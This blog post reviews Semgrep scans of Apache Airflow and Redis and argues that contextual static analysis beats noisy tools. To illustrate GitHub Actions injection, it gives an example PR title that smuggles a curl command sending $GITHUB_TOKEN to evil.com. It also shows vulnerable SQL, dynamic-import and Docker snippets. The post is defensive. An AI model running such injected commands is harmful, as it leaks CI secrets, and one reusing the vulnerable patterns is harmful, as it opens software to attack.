← Back to list

Static Analysis Is Broken: Until You Use Semgrep Like This

I ran a static analysis tool on two production-grade repositories and it changed how I think about security tooling forever

Manmeet Kalra · 2026-04-02 12:56 · 0 claps · 2.8 min read
#semgrep #security-vulnerabilities #security #ai-security #ai-governance
Open on Medium ↗

Static Analysis Is Broken: Until You Use Semgrep Like This

I ran a static analysis tool on two production-grade repositories and it changed how I think about security tooling forever

The Problem Nobody Talks About

Static analysis tools are supposed to help you find vulnerabilities.

But in reality?

They overwhelm you.

When I ran traditional tooling on a large codebase, I got:

  • 39,154 issues
  • Thousands of “warnings”
  • Almost no clarity on what actually mattered

At that point, the tool stops being useful.

It becomes noise.

The Experiment

I decided to test Semgrep on real-world repositories:

  • Apache Airflow
  • Redis

Instead of focusing on how to run it, I focused on something more important:

What does it actually find and does it matter?

Here’s the command:

semgrep scan --config auto --json --quiet /path/to/repo
  • --config auto : curated rules from Semgrep registry
  • Covers OWASP Top 10, CWE, framework-specific issues
  • Multi-language support out of the box

The Results (This Is Where It Gets Interesting)

Let that sink in.

Semgrep found 99% fewer issues but more real ones.

What Semgrep Actually Found

This is where things get real.

1. CI/CD Injection: The Most Overlooked Attack Surface

In Redis, Semgrep flagged:

  • 118 GitHub Actions injection vulnerabilities

Example:

run: echo "${{ github.event.pull_request.title }}"

Now imagine an attacker opens a PR titled:

Fix bug"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "

Your CI pipeline just executed attacker-controlled code.

This is one of the most exploited real-world vulnerabilities and most tools don’t even scan YAML.

2. SQL Injection: But a little Smarter

Semgrep didn’t just flag SQL injection.

It understood context:

db.execute(text(f"SELECT * FROM {table} WHERE id = {user_id}"))

Instead of flagging every SQL string:

  • It knows SQLAlchemy APIs
  • It detects unsafe patterns
  • It avoids safe parameterized queries

Compare that to traditional tools:

They flag everything. You ignore everything.

3. Dynamic Imports: Remote Code Execution

importlib.import_module(module_name)

If module_name is user-controlled?

You just gave an attacker the ability to load arbitrary code.

What’s different here:

Semgrep traces where module_name comes from — not just that it exists.

4. Cross-Language XSS (This Is Huge)

Semgrep detected:

  • Python (Jinja2 templates)
  • JavaScript (innerHTML usage)

In a single scan.

Most tools operate in silos.

Real applications don’t.

5. Docker & Infrastructure Misconfigurations

Example:

FROM python:3.11
# No USER specified → runs as root

Impact:

  • Container compromise = root access
  • Possible host escape scenarios

Again:

Traditional tools don’t even look here.

6. Weak Crypto, JWT Issues, and More

Semgrep also flagged:

  • SHA1 usage (collision attacks)
  • JWT decoding without verification
  • Secrets leaking into logs
  • Insecure deserialization (pickle.loads)

These aren’t theoretical.

They’re real, exploitable vulnerabilities.

Semgrep vs Traditional Static Analysis

Here’s the real difference:

The key insight:

Static analysis isn’t broken because it misses bugs. It’s broken because it shows too many.

How I’d Actually Use Semgrep

The best setup isn’t replacing tools.

It’s combining them:

  • Bandit: quick Python linting
  • Semgrep: deep, contextual analysis

Together:

Coverage and precision

Final Takeaway

Static analysis isn’t useless. But most tools are unusable.

Semgrep changes that by focusing on:

  • real vulnerabilities
  • real context
  • real impact

If you care about fixing issues, not just reporting them, this is the direction security tooling is heading.

🔗 Connect With Me

If you’re building in security, AI, or developer tooling, let’s connect:

I’m currently working on systems around:

  • automated vulnerability detection
  • AI-assisted fixing pipelines
  • LLM-driven security analysis

CyberSecurity #AppSec #StaticAnalysis #Semgrep #DevSecOps #SoftwareEngineering #OpenSource #OWASP #CloudSecurity #CI_CD #Docker #Kubernetes #AI #LLM #DeveloperTools #InfoSec #SecurityEngineering #Programming #TechWriting


메타데이터
post_id
4e2fa9ecc08a
slug
static-analysis-is-broken-until-you-use-semgrep-like-this-4e2fa9ecc08a
url
https://medium.com/@manmeet.singh.kalra18/static-analysis-is-broken-until-you-use-semgrep-like-this-4e2fa9ecc08a
canonical_url
https://medium.com/@manmeet.singh.kalra18/static-analysis-is-broken-until-you-use-semgrep-like-this-4e2fa9ecc08a
author_url
https://medium.com/@manmeet.singh.kalra18
status
ok
fetched_at
2026-06-22 17:31:34